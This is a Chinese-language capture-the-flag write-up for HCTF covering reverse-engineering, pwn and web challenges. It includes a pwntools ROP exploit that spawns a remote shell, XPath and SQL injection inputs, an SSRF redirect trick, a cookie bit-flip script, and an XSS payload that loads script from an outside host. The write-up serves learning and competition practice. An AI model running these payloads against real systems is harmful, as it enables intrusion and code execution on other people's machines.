HCTF-WriteUp

Author:0xFA-Team
Contact: admin@0xfa.club

Server is done

  发现,返回的Message和注释掉的加密过的flag,每次都会变化。再然后发现Message长度和我们post过去的arg参数一样长。猜是流密码,然后post一个老长的arg,用返回的Message与arg异或得到本次加密的密码。再用这个密码异或后面的flag就好了。

flag:hctf{D0YOuKnovvhOw7oFxxkRCA?iGuE55UCan...Ah}

COMA WHITE

  把js拖出来看算法和判定。知道有md5和base64,再用alert打印来本地调试,可以得到一些信息,比如输入的flag的长度应该为32,比如32为被split了,有些2位有些1位,再比如,算法把这些分开的部分全部base64了一次,再比如,base64之后再做了一次MD5。
  最后,把上面的得到的每个部分的md5连起来与js中的:var result = "7e56035a736d269ad670f312496a0846d681058e73d892f3a1d085766d2ee0846d0af56bf900c5eeb37caea737059dce0326a0d2fc368284408846b9902a78da2a6039655313bf5dab1e43523b62c3748041613eff4408b9268b66430cf5d9a151f581937765890f2a706c77ea8af3cc06adbb51e161b0f829f5b36050037c6f3d1bc5e8d1a5a239ae77c74b44955fea0326a0d2fc368284408846b9902a78da8870253dbfea526c87a75b682aa5bbc525349a3437406843e62003b61b13571d09eb53a8dfb5c98d741e2226a44480242a6039655313bf5dab1e43523b62c374b81f204316b63919b12b3a1f27319f81af6cdb852ac107524b150b227c2886e6301270f6f62d064378d0f1d73a851973167a3b2baacd621cc223e2793b3fa9d28582d13498fb14c51eba9bc3742b8c2fb8dd7ca5c612a233514549fa9013ef242504501092bb69d0cb68071888c70cec7503666eb57e9ebb9a7bf931c68ac733";作对比,如果对了,你输入的就是flag。
  所以,我们把它逆过来就是,先分片为32字节的md5,然后再去cmd5解密(因为很短,所以都能接),接完后得到base64,再b64decode,而后连接起来。就得到了flag。

真的很友善的逆向题(福利)

  额,本来想一两句话说完的,想想,还是好好写吧。打开没加壳,也能直接ida看到关键算法,不过调试会有些奇怪的问题。
  恩,运行起来会发现,点不到check按钮,然后就去od对MoveWindow下断,当鼠标移动过去的时候,就断下来了,然后返回到用户空间,得到用户空间地址004018D8。
  enter image description here
  在IDA里跟随到这个地址,然后找跳转的地方,可以知道是不满足:

1.if ( a3 > 0x110 )

  才跳转的,随意,自然的把00401859处的ja改成jmp,就把按键固定了下来。

1..text:00401859 ja      loc_40

  本想直接用winhex改下exe,就不用每次调试都改一次,可发现,winhex改完后的确能停下来,但getwindowtexta会出问题,具体,没时间分析。
  接着看算法吧,先判断长度是否为22,再有个check1:
  做的事情主要是,用程序中写死的316754分别减去用户输入的前五个字符和最后一个字符。结果需要为:

1.Address   Value      ASCII Comments
2.0036F72C /FFFFFFEB ëÿÿÿ
3.0036F730 |FFFFFFEE îÿÿÿ
4.0036F734 |FFFFFFE2 âÿÿÿ
5.0036F738 |FFFFFFF1 ñÿÿÿ
6.0036F73C |FFFFFFBA ºÿÿÿ
7.0036F740 |FFFFFFB7 ·ÿÿÿ

  其实猜都能猜到这个是HCTF{},所以还剩中间16位。
  再看check2,这里是处理剩下的16位中的前12位,有个算法在里面,静态看似乎比较复杂,直接动态调试,输入ABCDEFabcdef得到结果为:

1.CPU Dump
2.Address Hex dump ASCII
3.012D91C0 00 00 00 00|01 00 00 00|02 00 00 00|04 00 00 00|
4.012D91D0 03 00 00 00|05 00 00 00|06 00 00 00|07 00 00 00|
5.012D91E0 64 00 00 00|65 00 00 00|66 00 00 00|67 00 00 00| d e f g

  所以可以知道,大概操作是从字母表中找你输入的字符对应的偏移位置。这里就可以弄个对照表出来了。

1.dic = {}
2.for i in range(26):#A-Z
3. dic[i] = chr(i+0x41)
4.for i in range(26):#a-z
5. dic[i+0x64] = chr(i+0x61)
6.for i in range(10):#0-9
7. dic[i+0xC8] = chr(i+0x30)

  完了后再进行置换操作:

1.        v8 = rere[6];
2. rere[6] = rere[0];
3. rere[0] = v8;
4. v9 = rere[8];
5. rere[8] = rere[3];
6. rere[3] = v9;
7. v10 = rere[5];
8. rere[5] = rere[2];
9. rere[2] = v10;
10. v11 = rere[4];
11. rere[4] = rere[11];
12. v12 = 0;
13. rere[11] = v11;

  得到的结果,再与程序中写好的:

1..rdata:00415600 code            dd 66h, 64h, 0C8h, 68h, 2 dup(75h), 14h, 0Bh, 68h, 15h, 68h, 12h

  进行一一对比,所以,解密脚本为:

1.cipher = [0x66, 0x64, 0x0C8, 0x68, 0x75, 0x75, 0x14, 0x0B, 0x68, 0x15, 0x68, 0x12]
2.cipher[0],cipher[6] = cipher[6],cipher[0]
3.cipher[3],cipher[8] = cipher[8],cipher[3]
4.cipher[5],cipher[2] = cipher[2],cipher[5]
5.cipher[11],cipher[4] = cipher[4],cipher[11]
6.
7.flag = []
8.for i in cipher:
9. flag.append(dic[i])

  对,还没完,还有四位:

1.        while ( 1 )
2. {
3. v7 = aEa57_0 ^ v02_user;
4. if ( (aEa57_0 ^ v02_user) >= 0
5. && aEa57_0 != v02_user
6. && (v7 ^ (char)v15) == aEa57[0]
7. && (v7 ^ SBYTE1(v15)) == aEa57[1]
8. && (v7 ^ SBYTE2(v15)) == aEa57[2]
9. && (v7 ^ SBYTE3(v15)) == aEa57[3] )
10. break;
11. Sleep(0x14u);
12. ++v6;
13. if ( v6 >= 100 )
14. goto LABEL_28;
15. }

  这个地方用od动态调的话,就是个坑,然而,静态吧:

1.        if ( v7 == 2 )
2. {
3. MessageBoxW(0, L"YOU GOT IT", L"OK", 0);
4. exit(0);
5. }

  就是,用0x02去异或程序中写死的一段数据Ea57,所以,结合起来的解密脚本是:

1.#!/usr/bin/env python
2.# -*- coding: utf-8 -*-
3.__Url__ = 'Http://www.purpleroc.com'
4.__author__ = 'Tracy_梓朋'
5.
6.cipher = [0x66, 0x64, 0x0C8, 0x68, 0x75, 0x75, 0x14, 0x0B, 0x68, 0x15, 0x68, 0x12]
7.data = 'Ea57'
8.dic = {}
9.for i in range(26):#A-Z
10. dic[i] = chr(i+0x41)
11.for i in range(26):#a-z
12. dic[i+0x64] = chr(i+0x61)
13.for i in range(10):#0-9
14. dic[i+0xC8] = chr(i+0x30)
15.
16.cipher[0],cipher[6] = cipher[6],cipher[0]
17.cipher[3],cipher[8] = cipher[8],cipher[3]
18.cipher[5],cipher[2] = cipher[2],cipher[5]
19.cipher[11],cipher[4] = cipher[4],cipher[11]
20.
21.flag = []
22.for i in cipher:
23. flag.append(dic[i])
24.
25.for i in data:
26. flag.append(chr(ord(i) ^ 0x02))
27.
28.print "flag is: HCTF{" + "".join(flag) + "}"

flag is: HCTF{UareS0cLeVerGc75}

欧洲人的游戏(你是欧洲人吗?)

  被无脑的16位程序折腾了半天后,看到32位还是挺亲切的,而且,代码看起来也挺亲切:

1.      GetDlgItemTextA(hWnd, 1001, &String, 41);
2. if ( sub_401190(&String) )
3. {
4. wsprintfA(&Text, "hctf{%s}", &String);
5. MessageBoxA(hWnd, &Text, "Right", 0);
6. }

  从sub_401190如下:

1. v1 = this;
2. len = this;
3. v3 = (char *)this + 1;
4. do
5. {
6. v4 = *(_BYTE *)len;
7. len = (char *)len + 1;
8. }
9. while ( v4 );
10. result = 0;
11. if ( (_BYTE *)len - v3 == 20 )
12. {
13. while ( data[result] == (*((_BYTE *)v1 + result + 10) ^ 7) )
14. {
15. ++result;
16. if ( result >= 10 )
17. {
18. data1[0] = *(_BYTE *)v1;
19. data1[17] = *((_BYTE *)v1 + 1);
20. data1[34] = *((_BYTE *)v1 + 2);
21. data1[51] = *((_BYTE *)v1 + 3);
22. data1[68] = *((_BYTE *)v1 + 4);
23. data1[85] = *((_BYTE *)v1 + 5);
24. data1[102] = *((_BYTE *)v1 + 6);
25. data1[119] = *((_BYTE *)v1 + 7);
26. data1[136] = *((_BYTE *)v1 + 8);
27. v6 = *((_BYTE *)v1 + 9);
28. v7 = -1;
29. v8 = -1;
30. data1[153] = v6;
31. v9 = 0;
32. do
33. {
34. v8 = data2[2 * (unsigned __int8)(v8 ^ data1[v9 + 1]) + 1] ^ ((unsigned int)v8 >> 8);
35. v7 = data2[2 * (unsigned __int8)(v7 ^ data1[v9])] ^ ((unsigned int)v7 >> 8);
36. v9 += 2;
37. }
38. while ( v9 < 256 );
39. v10 = ~v8;
40. if ( ~v7 == 0x22082EE2 && v10 == 0xC7C2B0FE )
41. return 1;
42. break;
43. }
44. }
45. result = 0;
46. }
47. return result;
48.}

  首先长度要为20字节,而后一个简单的异或与写死的data比较。所以,后十位是:

1.data = "~'`7Hc6410"
2.flag = []
3.for i in data:
4. flag.append(chr(ord(i) ^ 0x7))

  然而,剩下一个,两个表,各种查表异或,最后比较的,发现,推不回去,就只能爆破了,给力安卓牛写的爆破代码(取关键部分,两个table太长了):

1.
2.void do_do(int *ret1, int *ret2){
3. int ret = 0;
4. int *dword_40BEC0 = (int*)data2;
5. // int *dword_40BEC4 = (int*)(data2 + 4);
6. unsigned int v5 = -1;
7. unsigned int v6 = -1;
8. int v7 = 0;
9.
10. v7 = 0;
11. do
12. {
13. // v5 = dword_40BEC0[2 * (unsigned char)(v5 ^ data1[v7])] ^ (v5 >> 8);
14. // v6 = dword_40BEC4[2 * (unsigned char)(v6 ^ data1[v7 + 1])] ^ (v6 >> 8);
15. v6 = dword_40BEC0[2 * (unsigned char)(v6 ^ data1[v7 + 1]) + 1] ^ (v6 >> 8);
16. v5 = dword_40BEC0[2 * (unsigned char)(v5 ^ data1[v7])] ^ (v5 >> 8);
17. v7 += 2;
18. }
19. while ( v7 < 256 );
20.
21. *ret1 = v5;
22. *ret2 = v6;
23.}
24.
25.
26.int main(){
27. int i, j, k, l, m;
28. int ret1, ret2;
29. int flag = 0;
30.
31. for(i = 32; i < 127; i++){
32. data1[16 * 0 + 0] = i & 0xFF;
33. data1[16 * 1 + 1] = i & 0xFF;
34.
35. for(j = 32; j < 127; j++){
36. data1[16 * 2 + 2] = j & 0xFF;
37. data1[16 * 3 + 3] = j & 0xFF;
38. for(k = 32; k < 127; k++){
39. data1[16 * 4 + 4] = k & 0xFF;
40. data1[16 * 5 + 5] = k & 0xFF;
41. for(l = 32; l < 127; l++){
42. data1[16 * 6 + 6] = l & 0xFF;
43. data1[16 * 7 + 7] = l & 0xFF;
44. for(m = 32; m < 127; m++){
45. data1[16 * 8 + 8] = m & 0xFF;
46. data1[16 * 9 + 9] = m & 0xFF;
47.
48. do_do(&ret1, &ret2);
49. if(ret1 == ~0x22082EE2){
50. printf("偶数:%c%c%c%c%c\n", i, j, k, l, m);
51. }
52. if(ret2 == ~0xC7C2B0FE){
53. printf("奇数:%c%c%c%c%c\n", i, j, k, l, m);
54. }
55. }
56. }
57. }
58. }
59. }
60.}

  最后得到的奇数和偶数组数挺多,也就是有多解,问了主办方,对方表示~以为多解的几率不大~对,以为。然后就组出flag了,

1.奇数:+'Gdy
2.奇数:1 svr
3.偶数::^?,i
4.偶数:NYJ}/
5.偶数:cc1 3
6.偶数:s,}O#
7.奇数:~h5!E

  猜flag是:hctf{c1c 1s v3ry g0Od1367}
  

BrainFuck

  想对出题人说的话(见题目描述)。
  好吧,正经点,ida看了看,意思是,根据你输入的:
  ',[]-+><
  这些里面的一些符号,找到对应的代码:

1..rodata:0000000000400AE8 aPtr_0          db ' ++ptr; ',0         ; DATA XREF: .data:cmd1o
2..rodata:0000000000400AF1 aPtr_1 db ' --ptr; ',0 ; DATA XREF: .data:cmd2o
3..rodata:0000000000400AFA aPtr db ' ++*ptr; ',0 ; DATA XREF: .data:cmd3o
4..rodata:0000000000400B04 aPtr_2 db ' --*ptr; ',0 ; DATA XREF: .data:cmd4o
5..rodata:0000000000400B0E aPutcharPtr db ' putchar(*ptr); ',0 ; DATA XREF: .data:cmd5o
6..rodata:0000000000400B1F aPtrGetchar db ' *ptr =getchar(); ',0 ; DATA XREF: .data:cmd6o
7..rodata:0000000000400B32 aWhilePtr db ' while (*ptr) { ',0 ; DATA XREF: .data:cmd7o
8..rodata:0000000000400B43 asc_400B43 db ' } ',0

  组合起来,在编译成另外一个elf,完了再执行它,意思就是,我给你的主程序没问题,你自己用上面的代码,写个程序,完了再溢出它,对,编译也是在远端。很多不可控需要探测的因素。
  文件头给出了:

1.#include <stdlib.h>
2.#include <stdlib.h>
3.int main(void)
4.
{
5. setbuf(stdin,0);
6. char code[0x200];
7. char *ptr = code;

  最开始考虑的是,能否构造leak,因为只有leak出了栈上面的信息才能慢慢摸索服务端的不可控因素。这时候,安卓牛就开始画栈结构了~
  开辟的256字节空间的code是在栈上的,ptr是放在code下面的,里面存的是code的地址。
  enter image description here
  那我怎么才能leak出栈上面的信息呢?

1.  --*ptr; 
2.  putchar(*ptr);

  一直这样下去似乎可行,而且,读到256字节需要传入512行代码,而可传入的代码顶多255行。用个while也不行,因为,不可控制退出,那leak到的东西也用不上。
  于是,机智的写了下面的代码:

1.*ptr =getchar();
2.while (*ptr) {
3. ++ptr;
4. *ptr =getchar();
5.}

  可以实现用\x00退出循环,并且控制ptr的值。ptr上有用的信息都是在code区间之后,那leak的信息也应该先写满code,再读取堆栈。于是,上面的代码再加上几句:

1.putchar(*ptr);  
2.++ptr;

  就能得到信息了,而且,你会发现整个程序都只有一个main函数,那再进main函数的时候,肯定会往栈上放一个ret地址,我们找到ret地址,然后用getchar()可以控制eip。于是,关键就是怎么获取到system地址,怎么获取到libc地址。
  在调试的时候,发现,main的返回地址是__libc_start_main里的,意味着,其实程序是ret到libc上的,那拿到这个地址就可以算出system()地址,/bin/sh地址了。然后找个rop链,让rdi指向/bin/sh(tm好久没玩pwn,给记成x86的压栈传参了,然后坑了好久~),就可以getshell了。
  exp如下:

1.#!/usr/bin/env python
2.# -*- coding: utf-8 -*-
3.__Url__ = 'Http://www.purpleroc.com'
4.__author__ = 'Tracy_梓朋'
5.
6.from pwn import *
7.import pwnlib
8.
9.p = remote("120.55.86.95", 22222)
10.elf = ELF('./pwn2')
11.#libc = ELF("./libc.64.so")
12.libc = ELF("./libc.so.64")
13.
14.#p = process("./brainFuckCode")
15.token = "acc6ae0297b7c75f0ad51f392da9d42f"
16.#rp = remote("120.55.86.95", 22222)
17.
18.p.recvuntil("TOKEN=")
19.p.send(token + '\n')
20.readany = ",[>,].>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>" + '<'*8 + ',>' * 40 + "]q"
21.p.send(readany + '\n')
22.print p.recv()
23.
24.payload = "1"*(0x200 - 4) + "\x00"*1 + '\n'
25.#time.sleep(20)
26.p.send(payload)
27.#pwnlib.gdb.attach(p)
28.
29.buf = p.recv()
30.x = open("out.data", 'wb')
31.x.write(buf)
32.
33.for i in range(4):
34. #print buf[i*8 : (i + 1) * 8 ]
35. print hex(u64(buf[i*8 : (i + 1) * 8]))
36.
37.buf = buf[2:]
38.buf += '\x00'
39.
40.addr = u64(buf[3*8 + 1: (3+ 1) * 8 + 1])
41.print "addr:" + hex(addr)
42.main_addr = u64(buf[3*8 +1: (3+ 1) * 8 + 1]) - 245
43.print "main: " + hex(main_addr)
44.
45.off_main_sys = libc.symbols['system'] - libc.symbols['__libc_start_main']
46.off_main_bin = next(libc.search('/bin/sh')) - libc.symbols['__libc_start_main']
47.
48.system_addr = main_addr + off_main_sys
49.bin_addr = main_addr + off_main_bin
50.
51.print "system: " + hex(system_addr)
52.print "/bin/sh:" + hex(bin_addr)
53.
54.off_rop = 0xfa479 - 0x21ec5
55.rop_addr = addr + off_rop
56.
57.p.send(p64(rop_addr) + p64(system_addr) + p64(bin_addr) + '\x00'*16 + '\n')
58.p.interactive()

  还有个坑就是,你敲得回车键会算一个字符压栈~
  enter image description here

Andy

jeb 查看apk, 找到最终比较的key:SRlhb700YZHKvlTrNrt008F=DX3cdD3txmg。

找到核心函数Andy

1.public String andy() {
2. this.reverse = new Reverse(this.input + "hdu1s8");
3. this.encrypt = new Encrypt(this.reverse.make());
4. this.classical = new Classical(this.encrypt.make());
5. return this.classical.make();
6.}

首先,编写Classical.make逆方法。

1.private String decode(String input){
2. String array1 = "0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v w x y z = A B C D E F G H I J K L M E O P Q R S T U V W X Y Z";
3. String array2 = "W,p,X,4,5,B,q,A,6,a,V,3,r,b,U,s,E,d,C,c,D,0,t,T,Y,v,9,Q,2,e,8,P,f,h,J,N,g,u,K,k,H,x,L,w,R,I,j,i,y,l,m,S,M,1,0,O,n,2,G,7,=,F,Z";
4.
5. String[] v1 = array1.split(" ");
6. String[] v2 = array2.split(",");
7.
8. String t1 = "";
9.
10. for (int i = 0; i < input.length(); i++) {
11. String v0 = String.valueOf(input.charAt(i));
12.
int v5;
13.
14. for(v5 = 0; v5 < 63; ++v5) {
15. if(v0.equals(v2[v5])) {
16. t1 = i == 0 ? v1[v5]: t1 + v1[v5];
17. }
18. }
19. }
20. return t1;
21.}

由于Array1和Array2存在重复字串,故需要对逆算之后得到的值进行修正,得到:
OHMxdWloZDBpMnczcmluYXk2bjhkbmE=

接着,base64解码数据。8s1udhd0i2w3rdnay6n8dna

最后,将字符串逆序,得到:and8n6yandr3w2i0dhdu1s8。flag即:hctf{and8n6yandr3w2i0d}

injection

http://120.26.93.115:24317/0311d4a262979e312e1d4d2556581509/index.php
hint: user=user1 Xpath注入

学习链接 http://www.w3school.com.cn/xpath
猜测查询语句为/*[1]/user[user=’user1’]

1.//*     选取文档中的所有元素。
2.| 计算两个节点集 //book | //cd 返回所有拥有 book 和 cd 元素的节点集

根据链接可以拼凑一个语句来查询所有元素
payload

1.http://120.26.93.115:24317/0311d4a262979e312e1d4d2556581509/index.php?user=user1%27]|//*|ss[%27

flag
hctf{Dd0g_fac3_t0_k3yboard233}

Personal blog

访问了http://404.hack123.pw 发现是静态Blog

看到了澳大利亚的国旗。。 想到了这是不是gitpage搭建的Blog(自己blog也是搭在gitpage上。。)
访问了404.hack123.pw/CNAME 验证了想法
直接去github搜404.hack123.pw 在gitpage项目里有个here is f10g.html
base64decode一下 getflag

hctf{H3xo_B1og_Is_Niu8i_B1og}

Fuck ===

1.if (isset($_GET['a']) and isset($_GET['b'])) {
2. if ($_GET['a'] != $_GET['b'])
3. if (md5($_GET['a']) === md5($_GET['b']))
4. die('Flag: '.$flag);
5. else
6. print 'Wrong.';
7.

php md5函数只对字符串进行加密
如果传入数组的话 返回NULL

payload

1.http://120.26.93.115:18476/eff52083c4d43ad45cc8d6cd17ba13a1/index.php?a[]=123&b[]=33

Flag: hctf{dd0g_fjdks4r3wrkq7jl}

404

访问
http://120.26.93.115:12340/3d9d48dc016f0417558ff26d82ec13cc/webI.php
看一下http herader就发现flag了

hctf{w3lcome_t0_hc7f_f4f4f4}

Hack my net

http://120.26.224.102:25045/ea57f09ea421245047b86eaba834fae1/?u=http://nohackair.net:80/usr/themes/trapecho/css/bootstrap-responsive.min.css

看u可以发送 简单测试了一下命令执行和任意文件读取发现行不通 觉得是SSRF
利用
http://120.26.224.102:25045/ea57f09ea421245047b86eaba834fae1/?u=http://nohackair.net:80@youip/1.css
可以成功访问
但是请求自己本地用SimpleHTTPServer搭建的web服务器下的1.css还是提示501 自己本地curl了两个文件差别
发现Content-Type不同 所以猜测探测的是Content-Type
而在请求的时候HTTP头有个提示Config http://localareanet/all.conf
而之前测试发现服务器也支持跳转 本地写了个php 成功geflag

1.<?php
2.header('Content-Type:text/css');
3.header('Location:http://localareanet/all.conf');

description:hctf{302_IS_GOOD_TO_SSRF}

Easy Xss

简单测试了一下 发现debug处没有过滤
http://120.26.224.102:54250/0e7d4f3f7e0b6c0f4f6d1cd424732ec5/?errmsg=a&t=2&debug=%27;alert%281%29//

有长度限制 去掉了’;还可以输入10个字符
而errormsg变量是可控的 所以打算通过异常来输出errormsg
所以通过定义$变量来让try里面语句出错 从而执行document.write(errormsg);
errormsg过滤了一些字符 但是问题不大可以通过一些常见方式来绕过 比如unescape

payload

1.http://120.26.224.102:54250/0e7d4f3f7e0b6c0f4f6d1cd424732ec5/?errmsg=%3Cimg%20src=x%20onerror=s=createElement%28%27script%27%29;body.appendChild%28s%29;s.src=%27http:%27%2bunescape%28%27%252F%252F%27%29%2b%27t.cn%27%2bunescape%28%27%252F%27%29%2B%27R4vcES2%27;%3E%20&t=1&debug=%27;var%20$=%27

flag:JAVASCRIPT_DRIVES_ME_CREAZY_BUT_YOU_GOODJB

confuse question

login.txt

1.parse_str($loginStr,$loginStr);
2.foreach($loginStr as $n => $v){
3. $v = addslashesForEvery($v);
4. if($n === 'admin'){
5. $username = $v['username'];
6. $password = addslashesForEvery($_POST['password']);
7. $sql = "select * from admin where username = '$username' and password = '$password'";
8.

parse_str可以进行一次urldecode 而浏览器也能进行一次urldecode
传入%2561%2564%256d%2569%256e 经过parse_str处理就能让绕过替换达成$n=admin的条件
脚本进行了全局的过滤 但是v[‘username’]
如果我们传入的v[‘username’]=$v[0]取第一个字符(php真6:))
那么全局过滤 单引号变成了\’取第一个字符\就能闭合username后面的引号 注入get!

payload :

MC服务器租售中心-1

mc.hack123.pw

查看源代码获取了几个网址

1.http://mc.hack123.pw/bbs/
2.http://shop.hack123.pw
3.http://mcblog.hack123.pw
4.http://kirie.hack123.pw

http://kirie.hack123.pw/page/13/ 有个文章需要密码访问 密码123456

1.管理地址mc4dm1n.hack123.pw
2.主管说不要用自己的生日做密码。。我还没改怎么办。。

http://kirie.hack123.pw/archives/4/ 一张动车票

帐号kirie 密码19940518登录管理地址

登录成功后有一个手机验证的界面

debug信息泄漏短信验证码
登录后提示

1.                    <!-- Debug信息,调试完成后记得删除 -->
2. <!-- Cookie信息 -->
3. <!--
{"username":"xxxx","level":"99"} -->
4. <!-- 坐看楼上大神写代码 -->
5. <!-- 你这数据脱敏跟没脱一样啊!!快点删掉啊! -->

查看cookie ht固定不变

1.hb5TnsUzD+UmXhUb67ulTCaMYRahyjBN9ydGn6LNOes=

解不出来 猜测bit fip
写了个脚本跑了一下 测试到第5个成功了

1.import base64
2.
3.
4.cipher = "hb5TnsUzD+UmXhUb67ulTCaMYRahyjBN9ydGn6LNOes="
5.cc = base64.b64decode(cipher)
6.
7.for i in range(10):
8. sss = list(cc)
9. for j in range(10):
10. sss[28] = chr(ord(cc[28]) ^ ord('9') ^ ord(str(i)))
11. sss[29] = chr(ord(cc[29]) ^ ord('9') ^ ord(str(j)))
12. print base64.b64encode("".join(sss))